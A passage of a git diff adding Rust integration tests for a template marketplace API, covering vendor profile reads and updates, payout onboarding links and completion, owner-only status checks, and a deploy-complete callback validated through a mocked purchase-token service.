+        VALUES ($1, 'view', $2, '{}', $3, NOW())
+        "#,
+    )
+    .bind(template_id)
+    .bind(viewer_user_id)
+    .bind(occurred_at)
+    .execute(pool)
+    .await
+    .expect("Failed to insert view event");
+}
+
+/// Insert a deploy event for testing cloud breakdown
+async fn insert_deploy_event(
+    pool: &sqlx::PgPool,
+    template_id: Uuid,
+    deployer_user_id: &str,
+    cloud_provider: &str,
+    occurred_at: chrono::DateTime<Utc>,
+) {
+    sqlx::query(
+        r#"
+        INSERT INTO marketplace_template_event (
+            template_id,
+            event_type,
+            deployer_user_id,
+            cloud_provider,
+            metadata,
+            occurred_at,
+            created_at
+        )
+        VALUES ($1, 'deploy', $2, $3, '{}', $4, NOW())
+        "#,
+    )
+    .bind(template_id)
+    .bind(deployer_user_id)
+    .bind(cloud_provider)
+    .bind(occurred_at)
+    .execute(pool)
+    .await
+    .expect("Failed to insert deploy event");
+}
diff --git a/tests/marketplace_creator_self_vendor_profile.rs b/tests/marketplace_creator_self_vendor_profile.rs
new file mode 100644
index 00000000..68a580d8
--- /dev/null
+++ b/tests/marketplace_creator_self_vendor_profile.rs
@@ -0,0 +1,303 @@
+mod common;
+
+use reqwest::StatusCode;
+use serde_json::{json, Value};
+
+const USER_TOKEN: &str = "test-bearer-token";
+
+#[tokio::test]
+async fn creator_self_vendor_profile_returns_default_profile_when_missing() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+
+    let response = reqwest::Client::new()
+        .get(format!("{}/api/templates/mine/vendor-profile", app.address))
+        .bearer_auth(USER_TOKEN)
+        .send()
+        .await
+        .expect("Failed to fetch self vendor profile");
+
+    assert_eq!(StatusCode::OK, response.status());
+
+    let body: Value = response
+        .json()
+        .await
+        .expect("self vendor profile response should be valid JSON");
+
+    assert_eq!("test_user_id", body["item"]["creator_user_id"]);
+    assert_eq!(false, body["item"]["payout_ready"]);
+
+    let vendor_profile = &body["item"]["vendor_profile"];
+    assert_eq!("test_user_id", vendor_profile["creator_user_id"]);
+    assert_eq!("unverified", vendor_profile["verification_status"]);
+    assert_eq!("not_started", vendor_profile["onboarding_status"]);
+    assert_eq!(false, vendor_profile["payouts_enabled"]);
+    assert_eq!(Value::Null, vendor_profile["payout_provider"]);
+    assert_eq!(json!({}), vendor_profile["metadata"]);
+    assert_eq!(None, vendor_profile.get("payout_account_ref"));
+}
+
+#[tokio::test]
+async fn creator_self_vendor_profile_returns_persisted_profile() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+
+    sqlx::query(
+        r#"INSERT INTO marketplace_vendor_profile (
+            creator_user_id,
+            verification_status,
+            onboarding_status,
+            payouts_enabled,
+            payout_provider,
+            payout_account_ref,
+            metadata
+        )
+        VALUES ($1, 'verified', 'completed', true, 'stripe_connect', 'acct_secret', '{"country":"DE"}'::jsonb)"#,
+    )
+    .bind("test_user_id")
+    .execute(&app.db_pool)
+    .await
+    .expect("Failed to insert vendor profile");
+
+    let response = reqwest::Client::new()
+        .get(format!("{}/api/templates/mine/vendor-profile", app.address))
+        .bearer_auth(USER_TOKEN)
+        .send()
+        .await
+        .expect("Failed to fetch self vendor profile");
+
+    assert_eq!(StatusCode::OK, response.status());
+
+    let body: Value = response
+        .json()
+        .await
+        .expect("self vendor profile response should be valid JSON");
+
+    assert_eq!(true, body["item"]["payout_ready"]);
+    let vendor_profile = &body["item"]["vendor_profile"];
+    assert_eq!("verified", vendor_profile["verification_status"]);
+    assert_eq!("completed", vendor_profile["onboarding_status"]);
+    assert_eq!(true, vendor_profile["payouts_enabled"]);
+    assert_eq!("stripe_connect", vendor_profile["payout_provider"]);
+    assert_eq!(json!({"country":"DE"}), vendor_profile["metadata"]);
+    assert!(vendor_profile["created_at"].is_string());
+    assert!(vendor_profile["updated_at"].is_string());
+    assert_eq!(None, vendor_profile.get("payout_account_ref"));
+}
+
+#[tokio::test]
+async fn creator_self_vendor_profile_is_scoped_to_authenticated_user() {
+    let app = match common::spawn_app_two_users().await {
+        Some(app) => app,
+        None => return,
+    };
+
+    sqlx::query(
+        r#"INSERT INTO marketplace_vendor_profile (
+            creator_user_id,
+            verification_status,
+            onboarding_status,
+            payouts_enabled,
+            payout_provider,
+            payout_account_ref,
+            metadata
+        )
+        VALUES ($1, 'verified', 'completed', true, 'stripe_connect', 'acct_secret', '{"country":"DE"}'::jsonb)"#,
+    )
+    .bind(common::USER_A_ID)
+    .execute(&app.db_pool)
+    .await
+    .expect("Failed to insert vendor profile");
+
+    let response = reqwest::Client::new()
+        .get(format!("{}/api/templates/mine/vendor-profile", app.address))
+        .bearer_auth(common::USER_B_TOKEN)
+        .send()
+        .await
+        .expect("Failed to fetch self vendor profile");
+
+    assert_eq!(StatusCode::OK, response.status());
+
+    let body: Value = response
+        .json()
+        .await
+        .expect("self vendor profile response should be valid JSON");
+
+    assert_eq!(common::USER_B_ID, body["item"]["creator_user_id"]);
+    assert_eq!(false, body["item"]["payout_ready"]);
+
+    let vendor_profile = &body["item"]["vendor_profile"];
+    assert_eq!(common::USER_B_ID, vendor_profile["creator_user_id"]);
+    assert_eq!("unverified", vendor_profile["verification_status"]);
+    assert_eq!("not_started", vendor_profile["onboarding_status"]);
+}
+
+#[tokio::test]
+async fn creator_self_vendor_profile_requires_authentication() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+
+    let response = reqwest::Client::new()
+        .get(format!("{}/api/templates/mine/vendor-profile", app.address))
+        .send()
+        .await
+        .expect("Failed to fetch self vendor profile");
+
+    assert_eq!(StatusCode::FORBIDDEN, response.status());
+}
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// PATCH /mine/vendor-profile — self-service public profile update
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+#[tokio::test]
+async fn creator_patch_vendor_public_profile_creates_profile_when_missing() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+
+    let response = reqwest::Client::new()
+        .patch(format!("{}/api/templates/mine/vendor-profile", app.address))
+        .bearer_auth(USER_TOKEN)
+        .json(&json!({
+            "display_name": "Acme Cloud",
+            "bio": "We build stacks.",
+            "website_url": "https://acme-cloud.example.com",
+            "avatar_url": "https://acme-cloud.example.com/avatar.png",
+            "public_slug": "acme-cloud"
+        }))
+        .send()
+        .await
+        .expect("Failed to PATCH vendor public profile");
+
+    assert_eq!(StatusCode::OK, response.status());
+
+    // Verify the profile was persisted by reading it back
+    let get_response = reqwest::Client::new()
+        .get(format!("{}/api/templates/mine/vendor-profile", app.address))
+        .bearer_auth(USER_TOKEN)
+        .send()
+        .await
+        .expect("Failed to GET self vendor profile after PATCH");
+
+    assert_eq!(StatusCode::OK, get_response.status());
+
+    let body: Value = get_response
+        .json()
+        .await
+        .expect("response should be valid JSON");
+
+    let profile = &body["item"]["vendor_profile"];
+    assert_eq!("acme-cloud", profile["public_slug"]);
+    assert_eq!("Acme Cloud", profile["display_name"]);
+    assert_eq!("We build stacks.", profile["bio"]);
+    assert_eq!(
+        "https://acme-cloud.example.com/avatar.png",
+        profile["avatar_url"]
+    );
+    assert_eq!("https://acme-cloud.example.com", profile["website_url"]);
+}
+
+#[tokio::test]
+async fn creator_patch_vendor_public_profile_updates_existing_profile() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+
+    // Seed an existing public profile
+    sqlx::query(
+        r#"INSERT INTO marketplace_vendor_profile (
+            creator_user_id, public_slug, display_name, bio,
+            avatar_url, website_url,
+            verification_status, onboarding_status
+        )
+        VALUES ($1, 'old-slug', 'Old Name', 'Old bio',
+                'https://old.example.com/avatar.png', 'https://old.example.com',
+                'unverified', 'not_started')"#,
+    )
+    .bind("test_user_id")
+    .execute(&app.db_pool)
+    .await
+    .expect("Failed to seed vendor profile");
+
+    // Update only display_name and bio — slug and URLs should be preserved via COALESCE
+    let response = reqwest::Client::new()
+        .patch(format!("{}/api/templates/mine/vendor-profile", app.address))
+        .bearer_auth(USER_TOKEN)
+        .json(&json!({
+            "display_name": "New Name",
+            "bio": "New bio"
+        }))
+        .send()
+        .await
+        .expect("Failed to PATCH vendor public profile");
+
+    assert_eq!(StatusCode::OK, response.status());
+
+    // Verify only the specified fields changed
+    let get_response = reqwest::Client::new()
+        .get(format!("{}/api/templates/mine/vendor-profile", app.address))
+        .bearer_auth(USER_TOKEN)
+        .send()
+        .await
+        .expect("Failed to GET self vendor profile");
+
+    let body: Value = get_response
+        .json()
+        .await
+        .expect("response should be valid JSON");
+
+    let profile = &body["item"]["vendor_profile"];
+    assert_eq!("old-slug", profile["public_slug"]);
+    assert_eq!("New Name", profile["display_name"]);
+    assert_eq!("New bio", profile["bio"]);
+    assert_eq!("https://old.example.com/avatar.png", profile["avatar_url"]);
+    assert_eq!("https://old.example.com", profile["website_url"]);
+}
+
+#[tokio::test]
+async fn creator_patch_vendor_public_profile_rejects_invalid_slug() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+
+    let response = reqwest::Client::new()
+        .patch(format!("{}/api/templates/mine/vendor-profile", app.address))
+        .bearer_auth(USER_TOKEN)
+        .json(&json!({
+            "public_slug": "-invalid-slug"
+        }))
+        .send()
+        .await
+        .expect("Failed to PATCH vendor public profile with invalid slug");
+
+    assert_eq!(StatusCode::BAD_REQUEST, response.status());
+}
+
+#[tokio::test]
+async fn creator_patch_vendor_public_profile_requires_authentication() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+
+    let response = reqwest::Client::new()
+        .patch(format!("{}/api/templates/mine/vendor-profile", app.address))
+        .json(&json!({
+            "display_name": "Should Not Work"
+        }))
+        .send()
+        .await
+        .expect("Failed to PATCH vendor public profile without auth");
+
+    assert_eq!(StatusCode::FORBIDDEN, response.status());
+}
diff --git a/tests/marketplace_creator_vendor_profile_onboarding_complete.rs b/tests/marketplace_creator_vendor_profile_onboarding_complete.rs
new file mode 100644
index 00000000..74f57d2d
--- /dev/null
+++ b/tests/marketplace_creator_vendor_profile_onboarding_complete.rs
@@ -0,0 +1,157 @@
+mod common;
+
+use reqwest::StatusCode;
+use serde_json::Value;
+use sqlx::Row;
+
+const USER_TOKEN: &str = "test-bearer-token";
+
+#[tokio::test]
+async fn creator_onboarding_complete_marks_in_progress_profile_completed() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+
+    sqlx::query(
+        r#"INSERT INTO marketplace_vendor_profile (
+            creator_user_id,
+            verification_status,
+            onboarding_status,
+            payouts_enabled,
+            payout_provider,
+            payout_account_ref,
+            metadata
+        )
+        VALUES ($1, 'pending', 'in_progress', false, 'mock', 'acct_progress', '{"onboarding":{"started_at":"2026-04-12T00:00:00Z","link_request_count":1}}'::jsonb)"#,
+    )
+    .bind("test_user_id")
+    .execute(&app.db_pool)
+    .await
+    .expect("Failed to insert in-progress vendor profile");
+
+    let response = reqwest::Client::new()
+        .post(format!(
+            "{}/api/templates/mine/vendor-profile/onboarding-complete",
+            app.address
+        ))
+        .bearer_auth(USER_TOKEN)
+        .send()
+        .await
+        .expect("Failed to mark onboarding complete");
+
+    assert_eq!(StatusCode::OK, response.status());
+
+    let body: Value = response
+        .json()
+        .await
+        .expect("completion response should be valid JSON");
+
+    assert_eq!(true, body["item"]["completion_recorded"]);
+    assert_eq!(
+        "completed",
+        body["item"]["vendor_profile"]["onboarding_status"]
+    );
+    assert_eq!(false, body["item"]["payout_ready"]);
+
+    let row = sqlx::query(
+        r#"SELECT onboarding_status, metadata
+           FROM marketplace_vendor_profile WHERE creator_user_id = $1"#,
+    )
+    .bind("test_user_id")
+    .fetch_one(&app.db_pool)
+    .await
+    .expect("vendor profile row should exist");
+
+    assert_eq!("completed", row.get::<String, _>("onboarding_status"));
+    let metadata: Value = row.get("metadata");
+    assert_eq!("creator_api", metadata["onboarding"]["completion_source"]);
+    assert!(metadata["onboarding"]["completed_at"].is_string());
+}
+
+#[tokio::test]
+async fn creator_onboarding_complete_is_idempotent_after_completion() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+
+    sqlx::query(
+        r#"INSERT INTO marketplace_vendor_profile (
+            creator_user_id,
+            verification_status,
+            onboarding_status,
+            payouts_enabled,
+            payout_provider,
+            payout_account_ref,
+            metadata
+        )
+        VALUES ($1, 'pending', 'completed', false, 'mock', 'acct_completed', '{"onboarding":{"completed_at":"2026-04-12T00:00:00Z","completion_source":"creator_api"}}'::jsonb)"#,
+    )
+    .bind("test_user_id")
+    .execute(&app.db_pool)
+    .await
+    .expect("Failed to insert completed vendor profile");
+
+    let response = reqwest::Client::new()
+        .post(format!(
+            "{}/api/templates/mine/vendor-profile/onboarding-complete",
+            app.address
+        ))
+        .bearer_auth(USER_TOKEN)
+        .send()
+        .await
+        .expect("Failed to mark onboarding complete");
+
+    assert_eq!(StatusCode::OK, response.status());
+
+    let body: Value = response
+        .json()
+        .await
+        .expect("completion response should be valid JSON");
+
+    assert_eq!(false, body["item"]["completion_recorded"]);
+    assert_eq!(
+        "completed",
+        body["item"]["vendor_profile"]["onboarding_status"]
+    );
+}
+
+#[tokio::test]
+async fn creator_onboarding_complete_rejects_missing_linkage() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+
+    let response = reqwest::Client::new()
+        .post(format!(
+            "{}/api/templates/mine/vendor-profile/onboarding-complete",
+            app.address
+        ))
+        .bearer_auth(USER_TOKEN)
+        .send()
+        .await
+        .expect("Failed to mark onboarding complete");
+
+    assert_eq!(StatusCode::CONFLICT, response.status());
+}
+
+#[tokio::test]
+async fn creator_onboarding_complete_requires_authentication() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+
+    let response = reqwest::Client::new()
+        .post(format!(
+            "{}/api/templates/mine/vendor-profile/onboarding-complete",
+            app.address
+        ))
+        .send()
+        .await
+        .expect("Failed to mark onboarding complete");
+
+    assert_eq!(StatusCode::FORBIDDEN, response.status());
+}
diff --git a/tests/marketplace_creator_vendor_profile_onboarding_link.rs b/tests/marketplace_creator_vendor_profile_onboarding_link.rs
new file mode 100644
index 00000000..368e4391
--- /dev/null
+++ b/tests/marketplace_creator_vendor_profile_onboarding_link.rs
@@ -0,0 +1,215 @@
+mod common;
+
+use reqwest::StatusCode;
+use serde_json::Value;
+use sqlx::Row;
+
+const USER_TOKEN: &str = "test-bearer-token";
+
+#[tokio::test]
+async fn creator_onboarding_link_creates_profile_when_missing() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+
+    let response = reqwest::Client::new()
+        .post(format!(
+            "{}/api/templates/mine/vendor-profile/onboarding-link",
+            app.address
+        ))
+        .bearer_auth(USER_TOKEN)
+        .send()
+        .await
+        .expect("Failed to request onboarding link");
+
+    assert_eq!(StatusCode::OK, response.status());
+
+    let body: Value = response
+        .json()
+        .await
+        .expect("onboarding link response should be valid JSON");
+
+    assert_eq!("test_user_id", body["item"]["creator_user_id"]);
+    assert_eq!(false, body["item"]["payout_ready"]);
+    assert_eq!(true, body["item"]["linkage_created"]);
+
+    let vendor_profile = &body["item"]["vendor_profile"];
+    assert_eq!("test_user_id", vendor_profile["creator_user_id"]);
+    assert_eq!("unverified", vendor_profile["verification_status"]);
+    assert_eq!("in_progress", vendor_profile["onboarding_status"]);
+    assert_eq!(false, vendor_profile["payouts_enabled"]);
+    assert_eq!("mock", vendor_profile["payout_provider"]);
+    assert_eq!(None, vendor_profile.get("payout_account_ref"));
+
+    let row = sqlx::query(
+        r#"SELECT onboarding_status, payout_provider, payout_account_ref, metadata
+           FROM marketplace_vendor_profile WHERE creator_user_id = $1"#,
+    )
+    .bind("test_user_id")
+    .fetch_one(&app.db_pool)
+    .await
+    .expect("vendor profile row should exist");
+
+    assert_eq!("in_progress", row.get::<String, _>("onboarding_status"));
+    assert_eq!("mock", row.get::<String, _>("payout_provider"));
+    assert!(!row.get::<String, _>("payout_account_ref").is_empty());
+    let metadata: Value = row.get("metadata");
+    assert!(metadata["onboarding"]["started_at"].is_string());
+    assert!(metadata["onboarding"]["last_link_requested_at"].is_string());
+    assert_eq!(1, metadata["onboarding"]["link_request_count"]);
+}
+
+#[tokio::test]
+async fn creator_onboarding_link_reuses_existing_linkage() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+
+    sqlx::query(
+        r#"INSERT INTO marketplace_vendor_profile (
+            creator_user_id,
+            verification_status,
+            onboarding_status,
+            payouts_enabled,
+            payout_provider,
+            payout_account_ref,
+            metadata
+        )
+        VALUES ($1, 'pending', 'completed', false, 'mock', 'acct_existing', '{}'::jsonb)"#,
+    )
+    .bind("test_user_id")
+    .execute(&app.db_pool)
+    .await
+    .expect("Failed to insert vendor profile");
+
+    let response = reqwest::Client::new()
+        .post(format!(
+            "{}/api/templates/mine/vendor-profile/onboarding-link",
+            app.address
+        ))
+        .bearer_auth(USER_TOKEN)
+        .send()
+        .await
+        .expect("Failed to request onboarding link");
+
+    assert_eq!(StatusCode::OK, response.status());
+
+    let body: Value = response
+        .json()
+        .await
+        .expect("onboarding link response should be valid JSON");
+
+    assert_eq!(false, body["item"]["linkage_created"]);
+    assert_eq!(
+        "completed",
+        body["item"]["vendor_profile"]["onboarding_status"]
+    );
+    assert_eq!("mock", body["item"]["vendor_profile"]["payout_provider"]);
+    assert_eq!(
+        None,
+        body["item"]["vendor_profile"].get("payout_account_ref")
+    );
+
+    let row = sqlx::query(
+        r#"SELECT onboarding_status, payout_provider, payout_account_ref, metadata
+           FROM marketplace_vendor_profile WHERE creator_user_id = $1"#,
+    )
+    .bind("test_user_id")
+    .fetch_one(&app.db_pool)
+    .await
+    .expect("vendor profile row should exist");
+
+    assert_eq!("completed", row.get::<String, _>("onboarding_status"));
+    assert_eq!("mock", row.get::<String, _>("payout_provider"));
+    assert_eq!("acct_existing", row.get::<String, _>("payout_account_ref"));
+    let metadata: Value = row.get("metadata");
+    assert!(metadata["onboarding"]["last_link_requested_at"].is_string());
+    assert_eq!(1, metadata["onboarding"]["link_request_count"]);
+}
+
+#[tokio::test]
+async fn creator_onboarding_link_is_scoped_to_authenticated_user() {
+    let app = match common::spawn_app_two_users().await {
+        Some(app) => app,
+        None => return,
+    };
+
+    sqlx::query(
+        r#"INSERT INTO marketplace_vendor_profile (
+            creator_user_id,
+            verification_status,
+            onboarding_status,
+            payouts_enabled,
+            payout_provider,
+            payout_account_ref,
+            metadata
+        )
+        VALUES ($1, 'verified', 'completed', true, 'mock', 'acct_user_a', '{}'::jsonb)"#,
+    )
+    .bind(common::USER_A_ID)
+    .execute(&app.db_pool)
+    .await
+    .expect("Failed to insert vendor profile");
+
+    let response = reqwest::Client::new()
+        .post(format!(
+            "{}/api/templates/mine/vendor-profile/onboarding-link",
+            app.address
+        ))
+        .bearer_auth(common::USER_B_TOKEN)
+        .send()
+        .await
+        .expect("Failed to request onboarding link");
+
+    assert_eq!(StatusCode::OK, response.status());
+
+    let body: Value = response
+        .json()
+        .await
+        .expect("onboarding link response should be valid JSON");
+
+    assert_eq!(common::USER_B_ID, body["item"]["creator_user_id"]);
+
+    let user_a_ref: String = sqlx::query(
+        r#"SELECT payout_account_ref FROM marketplace_vendor_profile WHERE creator_user_id = $1"#,
+    )
+    .bind(common::USER_A_ID)
+    .fetch_one(&app.db_pool)
+    .await
+    .expect("user A profile should still exist")
+    .get("payout_account_ref");
+
+    let user_b_ref: String = sqlx::query(
+        r#"SELECT payout_account_ref FROM marketplace_vendor_profile WHERE creator_user_id = $1"#,
+    )
+    .bind(common::USER_B_ID)
+    .fetch_one(&app.db_pool)
+    .await
+    .expect("user B profile should be created")
+    .get("payout_account_ref");
+
+    assert_eq!("acct_user_a", user_a_ref);
+    assert!(!user_b_ref.is_empty());
+    assert_ne!(user_a_ref, user_b_ref);
+}
+
+#[tokio::test]
+async fn creator_onboarding_link_requires_authentication() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+
+    let response = reqwest::Client::new()
+        .post(format!(
+            "{}/api/templates/mine/vendor-profile/onboarding-link",
+            app.address
+        ))
+        .send()
+        .await
+        .expect("Failed to request onboarding link");
+
+    assert_eq!(StatusCode::FORBIDDEN, response.status());
+}
diff --git a/tests/marketplace_creator_vendor_profile_status.rs b/tests/marketplace_creator_vendor_profile_status.rs
new file mode 100644
index 00000000..d6bdda22
--- /dev/null
+++ b/tests/marketplace_creator_vendor_profile_status.rs
@@ -0,0 +1,210 @@
+mod common;
+
+use reqwest::StatusCode;
+use serde_json::{json, Value};
+use sqlx::Row;
+
+const USER_TOKEN: &str = "test-bearer-token";
+
+async fn insert_template(pool: &sqlx::PgPool, creator_user_id: &str, slug: &str) -> String {
+    sqlx::query(
+        r#"INSERT INTO stack_template (
+            creator_user_id,
+            creator_name,
+            name,
+            slug,
+            status,
+            tags,
+            tech_stack
+        )
+        VALUES ($1, 'Vendor Example', 'Vendor Template', $2, 'submitted', '[]'::jsonb, '{}'::jsonb)
+        RETURNING id"#,
+    )
+    .bind(creator_user_id)
+    .bind(slug)
+    .fetch_one(pool)
+    .await
+    .expect("Failed to insert template")
+    .get::<uuid::Uuid, _>("id")
+    .to_string()
+}
+
+#[tokio::test]
+async fn creator_vendor_profile_status_returns_default_profile_when_missing() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+
+    let template_id = insert_template(
+        &app.db_pool,
+        "test_user_id",
+        "creator-vendor-profile-status-default",
+    )
+    .await;
+
+    let response = reqwest::Client::new()
+        .get(format!(
+            "{}/api/templates/{}/vendor-profile-status",
+            app.address, template_id
+        ))
+        .bearer_auth(USER_TOKEN)
+        .send()
+        .await
+        .expect("Failed to fetch vendor profile status");
+
+    assert_eq!(StatusCode::OK, response.status());
+
+    let body: Value = response
+        .json()
+        .await
+        .expect("status response should be valid JSON");
+
+    assert_eq!(template_id, body["item"]["template_id"]);
+    assert_eq!("test_user_id", body["item"]["creator_user_id"]);
+    assert!(!body["item"]["payout_ready"]
+        .as_bool()
+        .expect("payout_ready should be bool"));
+
+    let vendor_profile = &body["item"]["vendor_profile"];
+    assert_eq!("unverified", vendor_profile["verification_status"]);
+    assert_eq!("not_started", vendor_profile["onboarding_status"]);
+    assert_eq!(false, vendor_profile["payouts_enabled"]);
+    assert_eq!(Value::Null, vendor_profile["payout_provider"]);
+    assert_eq!(json!({}), vendor_profile["metadata"]);
+    assert_eq!(None, vendor_profile.get("payout_account_ref"));
+}
+
+#[tokio::test]
+async fn creator_vendor_profile_status_returns_persisted_profile() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+
+    let template_id = insert_template(
+        &app.db_pool,
+        "test_user_id",
+        "creator-vendor-profile-status-persisted",
+    )
+    .await;
+
+    sqlx::query(
+        r#"INSERT INTO marketplace_vendor_profile (
+            creator_user_id,
+            verification_status,
+            onboarding_status,
+            payouts_enabled,
+            payout_provider,
+            payout_account_ref,
+            metadata
+        )
+        VALUES ($1, 'verified', 'completed', true, 'stripe_connect', 'acct_secret', '{"country":"DE"}'::jsonb)"#,
+    )
+    .bind("test_user_id")
+    .execute(&app.db_pool)
+    .await
+    .expect("Failed to insert vendor profile");
+
+    let response = reqwest::Client::new()
+        .get(format!(
+            "{}/api/templates/{}/vendor-profile-status",
+            app.address, template_id
+        ))
+        .bearer_auth(USER_TOKEN)
+        .send()
+        .await
+        .expect("Failed to fetch vendor profile status");
+
+    assert_eq!(StatusCode::OK, response.status());
+
+    let body: Value = response
+        .json()
+        .await
+        .expect("status response should be valid JSON");
+
+    assert_eq!(true, body["item"]["payout_ready"]);
+    let vendor_profile = &body["item"]["vendor_profile"];
+    assert_eq!("verified", vendor_profile["verification_status"]);
+    assert_eq!("completed", vendor_profile["onboarding_status"]);
+    assert_eq!(true, vendor_profile["payouts_enabled"]);
+    assert_eq!("stripe_connect", vendor_profile["payout_provider"]);
+    assert_eq!(json!({"country":"DE"}), vendor_profile["metadata"]);
+    assert!(vendor_profile["created_at"].is_string());
+    assert!(vendor_profile["updated_at"].is_string());
+    assert_eq!(None, vendor_profile.get("payout_account_ref"));
+}
+
+#[tokio::test]
+async fn creator_vendor_profile_status_rejects_non_owner() {
+    let app = match common::spawn_app_two_users().await {
+        Some(app) => app,
+        None => return,
+    };
+
+    let template_id = insert_template(
+        &app.db_pool,
+        common::USER_A_ID,
+        "creator-vendor-profile-status-owner-only",
+    )
+    .await;
+
+    let response = reqwest::Client::new()
+        .get(format!(
+            "{}/api/templates/{}/vendor-profile-status",
+            app.address, template_id
+        ))
+        .bearer_auth(common::USER_B_TOKEN)
+        .send()
+        .await
+        .expect("Failed to fetch vendor profile status");
+
+    assert_eq!(StatusCode::FORBIDDEN, response.status());
+}
+
+#[tokio::test]
+async fn creator_vendor_profile_status_requires_authentication() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+
+    let template_id = insert_template(
+        &app.db_pool,
+        "test_user_id",
+        "creator-vendor-profile-status-auth-required",
+    )
+    .await;
+
+    let response = reqwest::Client::new()
+        .get(format!(
+            "{}/api/templates/{}/vendor-profile-status",
+            app.address, template_id
+        ))
+        .send()
+        .await
+        .expect("Failed to fetch vendor profile status");
+
+    assert_eq!(StatusCode::FORBIDDEN, response.status());
+}
+
+#[tokio::test]
+async fn creator_vendor_profile_status_returns_not_found_for_unknown_template() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+
+    let response = reqwest::Client::new()
+        .get(format!(
+            "{}/api/templates/{}/vendor-profile-status",
+            app.address,
+            uuid::Uuid::new_v4()
+        ))
+        .bearer_auth(USER_TOKEN)
+        .send()
+        .await
+        .expect("Failed to fetch vendor profile status");
+
+    assert_eq!(StatusCode::NOT_FOUND, response.status());
+}
diff --git a/tests/marketplace_deploy_complete.rs b/tests/marketplace_deploy_complete.rs
new file mode 100644
index 00000000..773d7b06
--- /dev/null
+++ b/tests/marketplace_deploy_complete.rs
@@ -0,0 +1,155 @@
+#![allow(clippy::await_holding_lock)]
+
+mod common;
+
+use reqwest::{Client, StatusCode};
+use serde_json::{json, Value};
+use sqlx::Row;
+use std::sync::{Mutex, OnceLock};
+use uuid::Uuid;
+use wiremock::matchers::{header, method, path};
+use wiremock::{Mock, MockServer, ResponseTemplate};
+
+struct EnvGuard {
+    key: &'static str,
+    previous: Option<String>,
+}
+
+impl EnvGuard {
+    fn set(key: &'static str, value: &str) -> Self {
+        let previous = std::env::var(key).ok();
+        std::env::set_var(key, value);
+        Self { key, previous }
+    }
+}
+
+impl Drop for EnvGuard {
+    fn drop(&mut self) {
+        if let Some(previous) = &self.previous {
+            std::env::set_var(self.key, previous);
+        } else {
+            std::env::remove_var(self.key);
+        }
+    }
+}
+
+fn env_lock() -> &'static Mutex<()> {
+    static LOCK: OnceLock<Mutex<()>> = OnceLock::new();
+    LOCK.get_or_init(|| Mutex::new(()))
+}
+
+async fn insert_approved_template(pool: &sqlx::PgPool) -> Uuid {
+    sqlx::query(
+        r#"INSERT INTO stack_template (
+            creator_user_id,
+            name,
+            slug,
+            status,
+            tags,
+            tech_stack,
+            deploy_count
+        )
+        VALUES ($1, $2, $3, 'approved', '[]'::jsonb, '{}'::jsonb, 0)
+        RETURNING id"#,
+    )
+    .bind("creator-1")
+    .bind("Deploy Complete Template")
+    .bind(format!("deploy-complete-{}", Uuid::new_v4()))
+    .fetch_one(pool)
+    .await
+    .expect("Failed to insert approved marketplace template")
+    .get::<Uuid, _>("id")
+}
+
+#[tokio::test]
+async fn deploy_complete_validates_purchase_token_increments_count_and_returns_template_id() {
+    let _env_lock = env_lock().lock().expect("env lock should be available");
+    let _token_guard = EnvGuard::set("STACKER_SERVICE_TOKEN", "test-service-token");
+
+    let user_service = MockServer::start().await;
+    let mut configuration =
+        stacker::configuration::get_configuration().expect("Failed to get configuration");
+    configuration.user_service_url = user_service.uri();
+
+    let app = match common::spawn_app_with_configuration(configuration).await {
+        Some(app) => app,
+        None => return,
+    };
+
+    let template_id = insert_approved_template(&app.db_pool).await;
+
+    Mock::given(method("POST"))
+        .and(path("/marketplace/purchase-token/validate"))
+        .and(header("authorization", "Bearer test-service-token"))
+        .respond_with(ResponseTemplate::new(200).set_body_json(json!({
+            "valid": true,
+            "product_id": "product-1",
+            "user_id": 42,
+            "stack_id": template_id.to_string(),
+        })))
+        .mount(&user_service)
+        .await;
+
+    let client = Client::new();
+    let callback_url = format!("{}/api/v1/marketplace/deploy-complete", app.address);
+    let callback_body = json!({
+        "deployment_hash": "deployment-hash-1",
+        "purchase_token": "purchase-token-1",
+        "server_ip": "203.0.113.10",
+        "stack_id": template_id.to_string(),
+    });
+
+    let response = client
+        .post(&callback_url)
+        .header("X-Stacker-Service-Token", "test-service-token")
+        .json(&callback_body)
+        .send()
+        .await
+        .expect("Failed to send deploy-complete request");
+
+    assert_eq!(StatusCode::OK, response.status());
+    let body: Value = response
+        .json()
+        .await
+        .expect("deploy-complete response should be valid JSON");
+    assert_eq!(template_id.to_string(), body["item"]["template_id"]);
+    assert_eq!(true, body["item"]["deploy_count_incremented"]);
+
+    let deploy_count = sqlx::query("SELECT deploy_count FROM stack_template WHERE id = $1")
+        .bind(template_id)
+        .fetch_one(&app.db_pool)
+        .await
+        .expect("Template should exist")
+        .get::<Option<i32>, _>("deploy_count");
+
+    assert_eq!(Some(1), deploy_count);
+
+    let duplicate_response = client
+        .post(&callback_url)
+        .header("X-Stacker-Service-Token", "test-service-token")
+        .json(&callback_body)
+        .send()
+        .await
+        .expect("Failed to send duplicate deploy-complete request");
+
